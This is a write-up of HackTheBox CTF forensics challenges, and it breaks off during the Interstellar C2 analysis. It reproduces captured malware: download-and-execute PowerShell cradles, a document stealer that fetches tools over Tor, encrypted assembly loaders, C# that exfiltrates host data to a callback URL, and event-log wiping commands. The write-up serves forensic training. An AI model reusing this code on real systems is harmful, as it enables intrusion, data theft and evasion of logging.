Information
There were 10 Forensics challenges in the CTF.
Challenges
Plaintext Treasure
strings files/capture.pcap | grep -i htb
#HTB{th3s3_4l13ns_st1ll_us3_HTTP}
Flag: HTB{th3s3_4l13ns_st1ll_us3_HTTP}
Alien Cradle
if([System.Security.Principal.WindowsIdentity]::GetCurrent().Name -ne 'secret_HQ\Arth'){exit};$w = New-Object net.webclient;$w.Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;$d = $w.DownloadString('http://windowsliveupdater.com/updates/33' + '96f3bf5a605cc4' + '1bd0d6e229148' + '2a5/2_34122.gzip.b64');$s = New-Object IO.MemoryStream(,[Convert]::FromBase64String($d));$f = 'H' + 'T' + 'B' + '{p0w3rs' + 'h3ll' + '_Cr4d' + 'l3s_c4n_g3t' + '_th' + '3_j0b_d' + '0n3}';IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
It’s not super hard to see that the flag is right here in plain sight. Just pasting the following string in a Python console returns the flag:
('H' + 'T' + 'B' + '{p0w3rs' + 'h3ll' + '_Cr4d' + 'l3s_c4n_g3t' + '_th' + '3_j0b_d' + '0n3}')
#'HTB{p0w3rsh3ll_Cr4dl3s_c4n_g3t_th3_j0b_d0n3}'
Flag: HTB{p0w3rsh3ll_Cr4dl3s_c4n_g3t_th3_j0b_d0n3}
Rotten
This is a quite large PCAP with looooads of packets, specifically HTTP ones. Towards the end, we can see some privilege escalation, as there is evidence some sort of reverse shell was uploaded since the attacker was able to get results for commands such as ‘ls‘ and whoami. Our task, then, is to find, how and where this backdoor is.
The whoami packet, is in packet 18504. Logically, the shell would have been uploaded using a POST method, so we can filter for ‘http.request.method == ‘POST’‘ in Wireshark. This gives us 9 packets. Two of them are PDFs, which I dissected and found nothing. I as convinced this was a PDF javascript exploit :(. The other ones are very small, but there is one x-php packet, in frame 1929. It’s an obfuscated PHP Script.
I like to use a sandbox to quickly look at obfuscated code. By replacing the last call ‘eval’, with ‘echo’, we get the fully deobfuscated code and the flag!
Flag: HTB{W0w_ROt_A_DaY}
Packet Cyclone
Difficulty: easy
The zip file contains the contents of Windows\System32\winevt\Logs directory, and a folder of sigma_rules. My favourite way to do this, is to use this tool. I run it on all files in the Logs directory, which makes it easier to look for stuff.
mkdir output
find 'Logs' -name "*.evtx" -size +69k -print0 | while read -d $'\0' file
do dumpevtx parse "${file}" --output="${file}.txt" 2>/dev/null
mv "${file}.txt" output/
done
The description specifically mentions event logs related to rclone, and we need to connect to the docker service in order to get the flag. So, in another shell bash:
1. What is the email of the attacker used for the exfiltration process? (for example: name@email.com)
To find that, we can use grep and search for email values in the Sysmon event log
cat 'Microsoft-Windows-Sysmon%4Operational.evtx.txt' | grep -F '@'
#returns "CommandLine": "\"C:\\Users\\wade\\AppData\\Local\\Temp\\rclone-v1.61.1-windows-amd64\\rclone.exe\" config create remote mega user majmeret@protonmail.com pass FBMeavdiaFZbWzpMqIVhJCGXZ5XXZI1qsU3EjhoKQw0rEoQqHyI",
Answer: majmeret@protonmail.com
2. What is the password of the attacker used for the exfiltration process?
In the same output as above, we see that the pass is FBMeavdiaFZbWzpMqIVhJCGXZ5XXZI1qsU3EjhoKQw0rEoQqHyI
3. What is the Cloud storage provider used by the attacker?
Still in the same output as question 1, the commandline shows that rclone is creating remote mega user.
4. What is the ID of the process used by the attackers to configure their tool?
To find the PID, we just need to look further up that specific command:
cat 'Microsoft-Windows-Sysmon%4Operational.evtx.txt' | grep -F '@' -B 50 -A 50
"EventData": {
"RuleName": "-",
"UtcTime": "2023-02-24 15:35:07.336",
"ProcessGuid": "10DA3E43-D92B-63F8-B100-000000000900",
"ProcessId": 3820,
"Image": "C:\\Users\\wade\\AppData\\Local\\Temp\\rclone-v1.61.1-windows-amd64\\rclone.exe",
"FileVersion": "1.61.1",
"Description": "Rsync for cloud storage",
"Product": "Rclone",
"Company": "https://rclone.org",
"OriginalFileName": "rclone.exe",
"CommandLine": "\"C:\\Users\\wade\\AppData\\Local\\Temp\\rclone-v1.61.1-windows-amd64\\rclone.exe\" config create remote mega user majmeret@protonmail.com pass FBMeavdiaFZbWzpMqIVhJCGXZ5XXZI1qsU3EjhoKQw0rEoQqHyI",
"CurrentDirectory": "C:\\Users\\wade\\AppData\\Local\\Temp\\rclone-v1.61.1-windows-amd64\\",
"User": "DESKTOP-UTDHED2\\wade",
"LogonGuid": "10DA3E43-D892-63F8-4B6D-030000000000",
"LogonId": 224587,
"TerminalSessionId": 1,
"IntegrityLevel": "Medium",
"Hashes": "SHA256=E94901809FF7CC5168C1E857D4AC9CBB339CA1F6E21DCCE95DFB8E28DF799961",
"ParentProcessGuid": "10DA3E43-D8D2-63F8-9B00-000000000900",
"ParentProcessId": 5888,
"ParentImage": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
"ParentCommandLine": "\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" ",
"ParentUser": "DESKTOP-UTDHED2\\wade"
},
the PID is 3820
5. What is the name of the folder the attacker exfiltrated; provide the full path.
grep -F 'rclone.exe' *
#"CommandLine": "\"C:\\Users\\wade\\AppData\\Local\\Temp\\rclone-v1.61.1-windows-amd64\\rclone.exe\" copy C:\\Users\\Wade\\Desktop\\Relic_location\\ remote:exfiltration -v"
The exfiltrated directory, is the one being copied, which is C:\Users\Wade\Desktop\Relic_location
6. What is the name of the folder the attacker exfiltrated the files to?
In the output above, we see that the destination is remote:exfiltration, so the name of the folder is exfiltration.
Finally, we get the flag, which is
Flag: HTB{3v3n_3xtr4t3rr3str14l_B31nGs_us3_Rcl0n3_n0w4d4ys}
Artifacts of Dangerous Sightings
Difficulty: medium
The provided file, 2023-03-09T132449_PANDORA.vhdx, is a Windows-formatted Virtual Hard Disk. In Linux, we can mount it like this:
sudo rmmod nbd
sudo modprobe nbd max_part=16
sudo qemu-nbd -c /dev/nbd0 2023-03-09T132449_PANDORA.vhdx
sudo mount -t ntfs -o loop,ro,show_sys_files,stream_interface=windows /dev/nbd0p1 /mnt/Windows/
So supposedly, Pandora found weird things in the security log. We can use dumpevtx to parse the file and see if anything interesting comes up. I checked the file for a bunch of string, and found something intersting related to powershell:
dumpevtx parse /mnt/Windows/C/Windows/System32/winevt/logs/Security.evtx > Security.txt
cat Security.txt | grep -i power
#"CommandLine": "sc create WindowssTask binPath= \"\\\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\\\" -ep bypass - \u003c C:\\Windows\\Tasks\\ActiveSyncProvider.dll:hidden.ps1\" DisplayName= \"WindowssTask\" start= auto"
The script hidden.ps1 is being executed as a Task. HOWEVER, the powershell logs are empty, so we can check if ConsoleHost_history.txt file exits
find /mnt/Windows/C/Users -name 'ConsoleHost_history.txt'
#/mnt/Windows/C/Users/Pandora/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadline/ConsoleHost_history.txt
cat /mnt/Windows/C/Users/Pandora/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadline/ConsoleHost_history.txt
And this is the output, so the ‘finpayload’ was injected to ActiveSyncProvider.dll, and then all the PowerShell logs were deleted 🥲.
type finpayload > C:\Windows\Tasks\ActiveSyncProvider.dll:hidden.ps1
exit
Get-WinEvent
Get-EventLog -List
wevtutil.exe cl "Windows PowerShell"
wevtutil.exe cl Microsoft-Windows-PowerShell/Operational
Remove-EventLog -LogName "Windows PowerShell"
Remove-EventLog -LogName Microsoft-Windows-PowerShell/Operational
Remove-EventLog
We can copy ActiveSyncProvider.dll to our working directory and try to extract the Powershell script.
cp /mnt/Windows/C/Windows/Tasks/ActiveSyncProvider.dll .
I tried a bunch of things, until I realized that I had to execute stuff on the file in the mount point directly, since it’s an alternate data stream. Hidden.ps1 contains a huge base64 encoded command, which I copy in my shell and directly decode, but some of the strings fail to decode properly. Eventually, I found that decoding the string in powershell, and saving it as an array is best for ‘preservation’ and limits the corruption of the data.
cat /mnt/Windows/C/Windows/Tasks/ActiveSyncProvider.dll:hidden.ps1 > hidden.ps1
#in pwsh
$file = "hidden.ps1"
[System.Convert]::FromBase64String((Get-Content $file)) | Set-Content output.bin
Then, I decode it in python, before re-parsing it in powershell :))))
fp = open('output.bin').readlines()
fp = [int(i.strip()) for i in fp if int(i.strip()) != 0]
with open('dec.ps1','wb') as of:
of.write(bytes(fp))
The file is a PAINFUL obfuscated script 😭. The last part of the line (since there’s only one super long line lol ) has ‘|’, so I wonder if I copy the part without ‘|’, set it as a variable, and try to echo it in powershell. IT does work, but it returns a bunch of ‘[Char]’ + integer . So, we must decode it again. I copy paste everything until the last ‘|’, and this time, I get the code, and flag !
function makePass
{
$alph=@();
65..90|foreach-object{$alph+=[char]$_};
$num=@();
48..57|foreach-object{$num+=[char]$_};
$res = $num + $alph | Sort-Object {Get-Random};
$res = $res -join '';
return $res;
}
function makeFileList
{
$files = cmd /c where /r $env:USERPROFILE *.pdf *.doc *.docx *.xls *.xlsx *.pptx *.ppt *.txt *.csv *.htm *.html *.php;
$List = $files -split '\r';
return $List;
}
function compress($Pass)
{
$tmp = $env:TEMP;
$s = 'https://relic-reclamation-anonymous.alien:1337/prog/';
$link_7zdll = $s + '7z.dll';
$link_7zexe = $s + '7z.exe';
$7zdll = '"'+$tmp+'\7z.dll"';
$7zexe = '"'+$tmp+'\7z.exe"';
cmd /c curl -s -x socks5h://localhost:9050 $link_7zdll -o $7zdll;
cmd /c curl -s -x socks5h://localhost:9050 $link_7zexe -o $7zexe;
$argExtensions = '*.pdf *.doc *.docx *.xls *.xlsx *.pptx *.ppt *.txt *.csv *.htm *.html *.php';
$argOut = 'Desktop\AllYourRelikResearchHahaha_{0}.zip' -f (Get-Random -Minimum 100000 -Maximum 200000).ToString();
$argPass = '-p' + $Pass;
Start-Process -WindowStyle Hidden -Wait -FilePath $tmp'\7z.exe' -ArgumentList 'a', $argOut, '-r', $argExtensions, $argPass -ErrorAction Stop;
}
$Pass = makePass;
$fileList = @(makeFileList);
$fileResult = makeFileListTable $fileList;
compress $Pass;
$TopSecretCodeToDisableScript = "HTB{Y0U_C4nt_St0p_Th3_Alli4nc3}"
Flag: HTB{Y0U_C4nt_St0p_Th3_Alli4nc3}
Relic Maps
Difficulty: medium
File Analysis
The file is a one.note file, but I didn’t actually know that lol. What I did check the file with strings:
strings relicmaps.one | grep -i htb
ExecuteCmdAsync "cmd /c powershell Invoke-WebRequest -Uri http://relicmaps.htb/uploads/soft/topsecret-maps.one -OutFile $env:tmp\tsmap.one; Start-Process -Filepath $env:tmp\tsmap.one"
ExecuteCmdAsync "cmd /c powershell Invoke-WebRequest -Uri http://relicmaps.htb/get/DdAbds/window.bat -OutFile $env:tmp\system32.bat; Start-Process -Filepath $env:tmp\system32.bat"
There are two files that get downloaded, at least, from my understanding. We can download them, and check them out. The bat script is definitely the more suspicious one of the two, so we can check it out. It’s basically a file with different variables that are ‘set’. We have:
– eFlP
– VhIy
– eUFw
Then, the whole things get evaled?executed? no clue. For now, I used python to parse the file as a dict, because it was obvious that the ‘sets’ act as dictionaries.
with open('windows.bat','rb') as inf:
data = inf.readlines()
data = [i.strip() for i in data]
sets = [b'%eFlP%"', b'%VhIy%"', b'%eUFw%"']
def parse_to_dict(data, sets):
dictout = {}
for setid in sets:
new_dat = [i for i in data if i[0:7] == setid]
keys = [i[7:17].decode() for i in new_dat]
vals=[i[18:].replace(b'"',b'').decode() for i in new_dat]
dictout.update(dict(zip(keys, vals)))
return dictout
dict_out = parse_to_dict(data, sets)
not_sets = [i for i in data if i[0:7] not in sets]
in_string = not_sets[4].decode()
eval_strings = [i.decode() for i in not_sets if b'%' in i]
def parse_eval(eval_strings):
evaled_=[]
for eval_string in eval_strings:
evaled = [dict_out[i] for i in eval_string.split('%') if i != '']
evaled_.append(''.join(evaled))
return evaled_
commands = parse_eval(eval_strings)
[print(i) for i in commands]
Command 1 and Command 2 are nothing special, they copy powershell.exe as a new file, %~0.exe, and move into directory %~dp0.
copy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe /y %~0.exe
cd %~dp0
Command 3, is more interesting:
print(commands[2].replace(';','\n'))
%~nx0.exe -noprofile -windowstyle hidden -ep bypass -command $eIfqq = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join
'')('%~f0').Split([Environment]::NewLine)
foreach ($YiLGW in $eIfqq) { if ($YiLGW.StartsWith(':: ')) { $VuGcO = $YiLGW.Substring(3)
break
}
}
$uZOcm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($VuGcO)
$BacUA = New-Object System.Security.Cryptography.AesManaged
$BacUA.Mode = [System.Security.Cryptography.CipherMode]::CBC
$BacUA.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$BacUA.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0xdfc6tTBkD+M0zxU7egGVErAsa/NtkVIHXeHDUiW20=')
$BacUA.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2hn/J717js1MwdbbqMn7Lw==')
$Nlgap = $BacUA.CreateDecryptor()
$uZOcm = $Nlgap.TransformFinalBlock($uZOcm, 0, $uZOcm.Length)
$Nlgap.Dispose()
$BacUA.Dispose()
$mNKMr = New-Object System.IO.MemoryStream(, $uZOcm)
$bTMLk = New-Object System.IO.MemoryStream
$NVPbn = New-Object System.IO.Compression.GZipStream($mNKMr, [IO.Compression.CompressionMode]::Decompress)
$NVPbn.CopyTo($bTMLk)
$NVPbn.Dispose()
$mNKMr.Dispose()
$bTMLk.Dispose()
$uZOcm = $bTMLk.ToArray()
$gDBNO = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($uZOcm)
$PtfdQ = $gDBNO.EntryPoint
$PtfdQ.Invoke($null, (, [string[]] ('%*')))
What happens is that, first, the script searches for the ‘in_string’, since it starts with ‘::’. Then, it decodes it from Base64, and decrypts it with AES, using a defined key and iv. It then decompresses the file, and loads it in assembly. I’m assuming it’s a shellcode!
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import gzip
enc = base64.b64decode(in_string[3:])
key = base64.b64decode('0xdfc6tTBkD+M0zxU7egGVErAsa/NtkVIHXeHDUiW20=')
iv = base64.b64decode('2hn/J717js1MwdbbqMn7Lw==')
cipher = AES.new(key,AES.MODE_CBC, iv)
dec = unpad(cipher.decrypt(enc),16)
decompressed = gzip.decompress(dec)
with open('out.exe','wb') as outfile:
outfile.write(decompressed)
Executable Analysis
Checking it with pedump, the file is a .Net assembly, and is actually called ‘RelicMaps.exe’.
We can dump its contents with ilspycmd:
mkdir relics
ilspycmd -o relics -p out.exe
Then, by checking the Program.cs of RelicMaps, we find the flag!
using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Net.Http;
using System.Security.Cryptography;
using System.Text;
namespace RelicMaps
{
internal class Program
{
private static void Main(string[] args)
{
//IL_00e9: Unknown result type (might be due to invalid IL or missing references)
//IL_00f3: Expected O, but got Unknown
//IL_012b: Unknown result type (might be due to invalid IL or missing references)
IPAddress val = Enumerable.FirstOrDefault((IEnumerable)Dns.GetHostAddresses(Dns.GetHostName()), (Func)((IPAddress ip) => (int)ip.get_AddressFamily() == 2));
string machineName = Environment.MachineName;
string userName = Environment.UserName;
DateTime now = DateTime.Now;
string text = "HTB{0neN0Te?_iT'5_4_tr4P!}";
string s = $"i={val}&n={machineName}&u={userName}&t={now}&f={text}";
Aes obj = Aes.Create("AES");
((SymmetricAlgorithm)obj).set_Mode((CipherMode)1);
((SymmetricAlgorithm)obj).set_Key(Convert.FromBase64String("B63PbsPUm3dMyO03Cc2lYNT2oUNbzIHBNc5LM5Epp6I="));
((SymmetricAlgorithm)obj).set_IV(Convert.FromBase64String("dgB58uwgaohVelj4Xhs7RQ=="));
((SymmetricAlgorithm)obj).set_Padding((PaddingMode)2);
ICryptoTransform obj2 = ((SymmetricAlgorithm)obj).CreateEncryptor();
byte[] bytes = Encoding.UTF8.GetBytes(s);
string text2 = Convert.ToBase64String(obj2.TransformFinalBlock(bytes, 0, bytes.Length));
Console.WriteLine(text2);
HttpClient httpClient = new HttpClient();
HttpRequestMessage httpRequestMessage = new HttpRequestMessage
{
RequestUri = new Uri("http://relicmaps.htb/callback"),
Method = HttpMethod.Post,
Content = new StringContent(text2, Encoding.UTF8, "application/json")
};
Console.WriteLine((object)httpRequestMessage);
HttpResponseMessage result = httpClient.SendAsync(httpRequestMessage).Result;
Console.WriteLine((object)result.StatusCode);
Console.WriteLine(result.Content.ReadAsStringAsync().Result);
}
}
}
Flag: HTB{0neN0Te?_iT’5_4_tr4P!}
Bashic Ransomware
Difficulty: hard
File Analysis
There are four files that are provided:
– flag.txt.a59ap
– linux-image-5.10.0-21.zip
– forensics.mem
– traffic.pcap
linux-image-5.10.0-21.zip is the Volatility Profile, which is in Json, meaning, we need to use Volatility3.
1. Traffic.pcap
Looking into it, it only contains 12 HTTP packets, with one file ‘Kxr43fMD9t.manifest’, that was downloaded. We can use the Export Objects → HTTP option to save the file. This file is Base64 encoded. Its output is really long, so I will load it in python instead.
2. Ransomware Analysis
cat Kxr43fMD9t.manifest | base64 -d | tr ';' '\n'
#The last two lines are calls to eval:
#x=$(eval "$Hc2$w$c$rQW$d$s$w$b$Hc2$v$xZp$f$w$V9z$rQW$L$U$xZp")
#eval "$N0q$x$Hc2$rQW"
So I’ll just leave them out of python to avoid issues, and clean up the file to load it in python
cat Kxr43fMD9t.manifest | base64 -d | tr ';' '\n' | wc -l
#get number of lines - 26
cat Kxr43fMD9t.manifest | base64 -d | tr ';' '\n' | head -n 24 | sed 's/"/"""/g' > vals.py
#format the quotation marks to avoid errors
Now, in python:
from vals import *
x = "Hc2$w$c$rQW$d$s$w$b$Hc2$v$xZp$f$w$V9z$rQW$L$U$xZp"
x = x.replace('$','+')
x = eval(x)
y = "N0q$x$Hc2$rQW".replace('$','+')
eval(y)
So this script echoes a base64 encoded text, reverses it, and then base64 decodes it. We can do that in python ourselves.
import base64
to_dec =s[2:-6]
dec = base64.b64decode(to_dec[::-1])
This time, it’s a bash script, which I’m guessing is the ransomware in question.
1. uFMHx73AXNF6CTsbtzYM
decodes a base64 encoded string and imports as a key in GPG, saves it as ‘RansomKey’.
2. MMYPE1MNIGuGPBmyCUo6
Takes a random string of 16 bytes, and uses it as a private key, the posts the data to a reverse PHP shell. Then, for all files in the directory, it encrypts it with GPG using the random string.
What we need to do, is recover this private key from the memory dump. And, guess what! There’s a specific plugin, for Linux memory dumps, that searches for GPG keys!
3. Memory Dump Analysis
This is the plugin required. We need to copy both the plugin, and Json profile to Volatility3’s path:
7z x linux-image-5.10.0-21.zip
sudo cp linux-image-5.10.0-21.json /usr/local/lib/python3.8/dist-packages/volatility3/symbols/linux/
git clone https://github.com/kudelskisecurity/volatility-gpg
sudo cp volatility-gpg/linux/* /usr/local/lib/python3.8/dist-packages/volatility3/plugins/linux/
Now, we can use both plugins to see if something is recovered:
vol3 -f forensics.mem linux.gpg_full.GPGItem
Offset Private key Secret size Plaintext
Searching from 24 Mar 2023 04:47:17 UTC to 12 Sep 2023 06:06:55 UTC
0x7f96f0002038 86246ef7da91e80ac9f1587bf8d93e76 32 wJ5kENwyu8amx2RM
0x7f96f0002038 86246ef7da91e80ac9f1587bf8d93e76 32 wJ5kENwyu8amx2RM
vol3 -f forensics.mem linux.gpg_partial.GPGPassphrase
#nothing
So we found our secret key! I’m super unfamiliar with GPG, so I’m going to try to do this whole thing without using the command line, but in Python.
import gnupg
import base64
key = '' #paste the key from the decrypted manifest file
key = base64.b64decode(key)
passphrase = 'wJ5kENwyu8amx2RM'
encfile = open('flag.txt.a59ap','rb').read()
gpg = gnupg.GPG()
import_result = gpg.import_keys(key)
decrypted_data = gpg.decrypt(encfile,passphrase=passphrase)
print(decrypted_data._as_text())
#HTB{n0_n33d_t0_r3turn_th3_r3l1c_1_gu3ss}
Flag: HTB{n0_n33d_t0_r3turn_th3_r3l1c_1_gu3ss}
Interstellar C2
Difficulty: hard
File Analysis
When dealing with PCAP, specifically C2 related stuff, the first thing I do is open the file in Wireshark and select ‘Export Objects —> HTTP’. This shows all the HTTP packets in the capture:
Two octet-streams, one html file with a different name, and the rest all have the same name, giving strooong c2 energy. First things first, let’s look at the executables, we can export them both by using the ‘save’ option in the Export HTTP objects window.
1. vn84.ps1
wohooo a powershell encrypted script. Alright, to quickly parse it, I use a Linux VM that has pwsh installed.
.("{1}{0}{2}" -f'T','Set-i','em') ('vAriA'+'ble'+':q'+'L'+'z0so') ( [tYpe]("{0}{1}{2}{3}" -F'SySTEM.i','o.Fi','lE','mode')) ; &("{0}{2}{1}" -f'set-Vari','E','ABL') l60Yu3 ( [tYPe]("{7}{0}{5}{4}{3}{1}{2}{6}"-F'm.','ph','Y.ae','A','TY.crypTOgR','SeCuRi','S','sYSte')); .("{0}{2}{1}{3}" -f 'Set-V','i','AR','aBle') BI34 ( [TyPE]("{4}{7}{0}{1}{3}{2}{8}{5}{10}{6}{9}" -f 'TEm.secU','R','Y.CrY','IT','s','Y.','D','yS','pTogrAPH','E','CrypTOSTReAmmo')); ${U`Rl} = ("{0}{4}{1}{5}{8}{6}{2}{7}{9}{3}"-f 'htt','4f0','53-41ab-938','d8e51','p://64.226.84.200/9497','8','58','a-ae1bd8','-','6')
${P`TF} = "$env:temp\94974f08-5853-41ab-938a-ae1bd86d8e51"
.("{2}{1}{3}{0}"-f'ule','M','Import-','od') ("{2}{0}{3}{1}"-f 'r','fer','BitsT','ans')
.("{4}{5}{3}{1}{2}{0}"-f'r','-BitsT','ransfe','t','S','tar') -Source ${u`Rl} -Destination ${p`Tf}
${Fs} = &("{1}{0}{2}" -f 'w-Ob','Ne','ject') ("{1}{2}{0}"-f 'eam','IO.','FileStr')(${p`Tf}, ( &("{3}{1}{0}{2}" -f'lDIt','hi','eM','c') ('VAria'+'blE'+':Q'+'L'+'z0sO')).VALue::"oP`eN")
${MS} = .("{3}{1}{0}{2}"-f'c','je','t','New-Ob') ("{5}{3}{0}{2}{4}{1}" -f'O.Memor','eam','y','stem.I','Str','Sy');
${a`es} = (&('GI') VARiaBLe:l60Yu3).VAluE::("{1}{0}" -f'reate','C').Invoke()
${a`Es}."KE`Y`sIZE" = 128
${K`EY} = [byte[]] (0,1,1,0,0,1,1,0,0,1,1,0,1,1,0,0)
${iv} = [byte[]] (0,1,1,0,0,0,0,1,0,1,1,0,0,1,1,1)
${a`ES}."K`EY" = ${K`EY}
${A`es}."i`V" = ${i`V}
${cS} = .("{1}{0}{2}"-f'e','N','w-Object') ("{4}{6}{2}{9}{1}{10}{0}{5}{8}{3}{7}" -f 'phy.Crypto','ptogr','ecuri','rea','Syste','S','m.S','m','t','ty.Cry','a')(${m`S}, ${a`Es}.("{0}{3}{2}{1}" -f'Cre','or','pt','ateDecry').Invoke(), (&("{1}{2}{0}"-f 'ARIaBLE','Ge','T-V') bI34 -VaLue )::"W`RItE");
${f`s}.("{1}{0}"-f 'To','Copy').Invoke(${Cs})
${d`ecD} = ${M`s}.("{0}{1}{2}"-f'T','oAr','ray').Invoke()
${C`S}.("{1}{0}"-f 'te','Wri').Invoke(${d`ECD}, 0, ${d`ECd}."LENg`TH");
${D`eCd} | .("{2}{3}{1}{0}" -f'ent','t-Cont','S','e') -Path "$env:temp\tmp7102591.exe" -Encoding ("{1}{0}"-f 'yte','B')
& "$env:temp\tmp7102591.exe"
I’m not going to go deep into the deobfuscation, because it seems pretty obvious. The script calls for downloading the file 94974f08-5853-41ab-938a-ae1bd86d8e51, which is the second executable file in the pcap. Then, it sets a Key and IV and decrypts the file into tmp7102591.exe. Our first task is to decrypt this specific file to be able to reverse it, and get more information. The Key and IV are not obfuscated, so we can quickly decrypt it in Python:
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
key = bytes([0,1,1,0,0,1,1,0,0,1,1,0,1,1,0,0])
iv = bytes([0,1,1,0,0,0,0,1,0,1,1,0,0,1,1,1])
with open('94974f08-5853-41ab-938a-ae1bd86d8e51','rb') as f:
enc_data = f.read()
cipher = AES.new(key,AES.MODE_CBC,iv)
dec = unpad(cipher.decrypt(enc_data),16)
with open('tmp7102591.exe','wb') as of:
of.write(dec)
Back to the working directory, executing file on the decrypted executable returns Intel 80386 Mono/.Net assembly. This means we can unpack it with ilspycmd and read the source code.
mkdir tmp7102591
ilspycmd -o tmp7102591 -p tmp7102591.exe
Now, we need to understand the mechanism of the executable before going any further.
2. tmp7102591.exe
There is only one file Program.cs, which should be enough to understand the mechanism. There are two internal classes to the public class Program:
– UrlGen
– ImgGen
The function Main calls Sharp (of course…) which initiates the whole thing by calling the function primer. Function primer does a bunch of things, and eventually runs ImplantCore, which I believe, is the heart of the C2 channel.
1. Primer
This is a modified version of the code, basically summarizes the key points of the function:
key = "DGCzi057IDmHvgTVE2gm60w8quqfpMD+o8qCBGpYItc="
text3="http://64.226.84.200:8080"
text5 = text3 + "/Kettie/Emmie/Anni?Theda=Merrilee?c"
enc = GetWebRequest(Encryption(key, un)).DownloadString(text5)
text2 = Decryption(key, enc)
Regex val = new Regex("RANDOMURI19901(.*)10991IRUMODNAR");
Match val2 = val.Match(text2);
string randomURI = ((object)val2.get_Groups().get_Item(1)).ToString();
val = new Regex("URLS10484390243(.*)34209348401SLRU");
val2 = val.Match(text2);
string stringURLS = ((object)val2.get_Groups().get_Item(1)).ToString();
val = new Regex("KILLDATE1665(.*)5661ETADLLIK");
val2 = val.Match(text2);
string killDate = ((object)val2.get_Groups().get_Item(1)).ToString();
val = new Regex("SLEEP98001(.*)10089PEELS");
val2 = val.Match(text2);
string sleep = ((object)val2.get_Groups().get_Item(1)).ToString();
val = new Regex("JITTER2025(.*)5202RETTIJ");
val2 = val.Match(text2);
string jitter = ((object)val2.get_Groups().get_Item(1)).ToString();
val = new Regex("NEWKEY8839394(.*)4939388YEKWEN");
val2 = val.Match(text2);
string key2 = ((object)val2.get_Groups().get_Item(1)).ToString();
val = new Regex("IMGS19459394(.*)49395491SGMI");
val2 = val.Match(text2);
string stringIMGS = ((object)val2.get_Groups().get_Item(1)).ToString()
ImplantCore(text3, randomURI, stringURLS, killDate, sleep, key2, stringIMGS, jitter)
Basically, it encrypts un (which is just a bunch of environment parameters) and downloads text5. Text5 is actually the packet that has a different name from the others (Anni?Theda=Merrilee). After decrypting text5, it performs a bunch of regex queries and to initialise all the variables necessary for the channel. The Decryption function is pretty basic AES:
array = Convert.FromBase64String(enc)
array2 = array[0:16]
val = CreateCam(key, Convert.ToBase64String(array2))
bytes = val.CreateDecryptor().TransformFinalBlock(array, 16, array.Length - 16)
output = Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(bytes).Trim(new char[1])))
In Python, this translates to:
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
def decrypt(enc, key):
enc = base64.b64decode(enc)
iv = enc[0:16]
key = base64.b64decode(key)
cipher = AES.new(key, AES.MODE_CBC, iv)
dec = cipher.decrypt(enc[16:])
return dec[:-16]
Once all the variables are initialised, primer calls Implant Core
1. ImplantCore
The first thing it does is initiate the classes UrlGen and ImgGen. Then it does a bunch of blablabla, but eventually calls UrlGen.GenerateUrl() [which creates a url at random], and decrypts it.
cmd = GetWebRequest(null).DownloadString(UrlGen.GenerateUrl()); text = Decryption(Key, cmd).Replace("\0", string.Empty);
The decrypted text is then parsed.
If the decrypted text starts with ‘multicmd’ it:
– replaces the string ‘multicmd’ with ‘’
– splits it at string “!d-3dion@LD!-d”.
– iterates on each string on the new splitted array and checks if it matches some particular string, like ‘loadmodule, ‘run-dll-background’, ‘run-exe-background’ … depending on the value it will call different functions:
– Assembly.load
– rAsm
– Exec
UrlGen and ImgGen
UrlGen.GenerateUrl() just creates a random url from the parameters it is initialised with. Nothing crazy.
ImgGen.GetImgData() is a bit more complicated. What happens is that, it takes a random value in the ‘stringIMGS’ array, and then adds a command to the file. But in between, it adds a ‘random’ string, based on the length of the encrypted array.
num = 1500
s = random.choice(_newImgs)
array = base64.b64decode(s)
random_string = "...................@..........................Tyscf"
random_bytes = random.sample(random_string,num-len(array)))
outval = array + random_bytes + cmdoutput
The actual ‘random’ sampling stuff doesn’t matter, as long as we can calculate the length of the array in place.
Decryption
We can start by decrypting the ‘primer file’, and get the parameters needed to be able to parse the rest of the data.
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
def parse_file(fname):
with open(fname,'rb') as inf:
data = inf.read()
return data
def decrypt(enc, key):
enc = base64.b64decode(enc)
iv = enc[0:16]
key = base64.b64decode(key)
cipher = AES.new(key, AES.MODE_CBC, iv)
dec = cipher.decrypt(enc[16:])
return base64.b64decode(dec[:-16])
key = "DGCzi057IDmHvgTVE2gm60w8quqfpMD+o8qCBGpYItc="
primer_file = 'Anni%3fTheda=Merrilee%3fc'
enc_primer = parse_file(primer_file)
dec_primer= decrypt(enc_primer, key)
Next, we need to parse the primer file, by mimicking the Regex operations done. In python:
import re
def parse_primer(primer_val):
val2 = re.findall(b"RANDOMURI19901(.*)10991IRUMODNAR", primer_val)
val3 = re.findall(b"URLS10484390243(.*)34209348401SLRU", primer_val)
val4 = re.findall(b"KILLDATE1665(.*)5661ETADLLIK", primer_val)
val5 = re.findall(b"SLEEP98001(.*)10089PEELS", primer_val)
val6 = re.findall(b"JITTER2025(.*)5202RETTIJ", primer_val)
val7 = re.findall(b"NEWKEY8839394(.*)4939388YEKWEN", primer_val)
val8 = re.findall(b"IMGS19459394(.*)49395491SGMI", primer_val)
randomURI = val2[0]
stringURLS = val3[0]
killDate = val4[0]
sleep = val5[0]
jitter = val6[0]
key2 = val7[0]
stringIMGS = val8[0]
return randomURI, stringURLS, killDate, sleep, key2, stringIMGS, jitter
